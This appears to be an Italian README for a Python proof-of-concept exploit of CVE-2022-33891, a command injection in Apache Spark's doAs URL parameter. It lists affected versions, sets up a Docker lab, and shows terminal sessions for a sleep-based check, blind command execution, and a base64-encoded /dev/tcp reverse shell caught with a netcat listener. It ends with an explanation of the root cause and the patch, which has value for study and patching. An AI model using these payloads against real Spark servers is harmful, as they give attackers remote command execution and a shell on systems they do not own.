
Exploit proof-of-concept in Python per Apache Spark Shell Command Injection (CVE-2022-33891) con blind OS injection, rilevamento basato su sleep e capacità di reverse shell.
Vulnerabilità di Iniezione di Comandi Shell in Apache Spark
Un POC Python per sfruttare la vulnerabilità di iniezione di comandi shell in Apache Spark. Ho visto altri POC in giro ma sembravano molto sospetti. Questo è pulito e semplice.
Non ho scoperto questo exploit/vulnerabilità. Volevo solo creare un POC sicuro per la community ^.^
Versioni di Apache Spark 3.0.3 e precedenti, versioni dalla 3.1.1 alla 3.1.2, e versioni dalla 3.2.0 alla 3.2.1
http://localhost:8080/?doAs=`[iniezione di comandi qui]`
Esempio
http://localhost:8080/?doAs=`echo%20%22c2xlZXAgMTAK%22%20|%20base64%20-d%20|%20bash`
... esegue una pausa di 10 secondi
È necessaria una versione vulnerabile di Spark con una singola opzione di configurazione modificata.
$ pip3 install -r requirements.txtspark/docker-compose.yml fornito nella directory spark/ ed esegui docker-compose up. Lascia che il container si avvii.sudo docker exec -it spark_spark_1 /bin/bashecho "spark.acls.enable true" >> conf/spark-defaults.confdocker-compose upusage: poc.py [-h] -u URL -p PORT [--revshell] [-lh LISTENINGHOST] [-lp LISTENINGPORT] [--check]
Script POC Python per CVE-2022-33891
argomenti opzionali:
-h, --help mostra questo messaggio di aiuto ed esce
-u URL, --url URL URL da sfruttare.
-p PORT, --port PORT Porta del target da sfruttare.
--revshell Opzione di reverse shell.
-lh LISTENINGHOST, --listeninghost LISTENINGHOST
Indirizzo IP del tuo host in ascolto.
-lp LISTENINGPORT, --listeningport LISTENINGPORT
Porta del tuo host in ascolto.
--check Verifica se il target è sfruttabile con un test di sleep
Verifica se il target è vulnerabile:
husky@dev-kde:~/spark$ python3 poc.py -u http://localhost -p 8080 --check
[*] Tentativo di connessione al sito...
[*] Esecuzione del test di sleep di 10 secondi...
[*] Richiesta completa dell'exploit: http://localhost:8080/?doAs=`echo c2xlZXAgMTA= | base64 -d | bash`
[+] La sleep è durata 10 secondi! Questo target è probabilmente vulnerabile!
Esegui comandi in un loop di prompt:
husky@dev-kde:~/spark$ python3 poc.py -u http://localhost -p 8080
[*] Modalità "Interattiva"!
[!] Nota: non riceverai alcun output da questi comandi. Prova a usare qualcosa come ping o sleep per testare l'esecuzione.
> sleep 5
[*] Richiesta completa dell'exploit: http://localhost:8080/?doAs=`echo c2xlZXAgNQ== | base64 -d | bash`
>
Esegui una reverse shell:
husky@dev-kde:~/spark$ python3 poc.py -u http://localhost -p 8080 --revshell -lh 192.168.138.131 -lp 1337
[*] Modalità reverse shell.
[*] Configura il tuo listener inserendo quanto segue:
nc -nvlp 1337
[!] Quando il tuo listener è pronto, premi invio!
[*] Richiesta completa dell'exploit: http://localhost:8080/?doAs=`echo c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xMzguMTMxLzEzMzcgMD4mMQ== | base64 -d | bash`
...[nell'altro terminale]...
husky@dev-kde:~/spark$ nc -nvlp 1337
Listening on 0.0.0.0 1337
Connection received on 172.21.0.2 55278
sh: 0: can't access tty; job control turned off
$ whoami
spark
L'iniezione di comandi avviene perché Spark verifica l'appartenenza al gruppo dell'utente passato nel parametro ?doAs utilizzando un comando Linux grezzo.
Passando id come utente si produce questo errore nel traceback:
spark_1 | 22/07/20 11:55:58 INFO Utils: id: 'id': no such user
spark_1 | 22/07/20 11:55:58 ERROR Utils: Process List(bash, -c, id -Gn 'id') exited with code 1:
spark_1 | 22/07/20 11:55:58 ERROR Utils: Error getting groups for user='id'
spark_1 | org.apache.spark.SparkException: Process List(bash, -c, id -Gn 'id') exited with code 1
Qui, Java ha deciso che fosse meglio passare il comando id in bash -c per verificare l'appartenenza al gruppo di un utente specificato. Il problema è che ciò consente anche l'iniezione di comandi.
Le versioni patchate parametrizzano questa chiamata per avere un percorso completo al comando /bin/id invece di bash -c id
Vale la pena notare che non viene restituito nulla sulla pagina durante l'esecuzione del comando, quindi si tratta di un'iniezione OS cieca. I comandi vengono eseguiti, ma non ci sarà alcuna indicazione se hanno funzionato o meno, o addirittura se il programma che stai eseguendo è presente sul target. Ad esempio, il container che viene avviato con il file docker-compose.yml in questo repository non ha ping, quindi verificare l'iniezione di comandi tramite un pingback non funzionerà. Ma non lo saprai e rimarrai a chiederti se ha funzionato o meno.
Il test di sleep è una scommessa sicura ^.^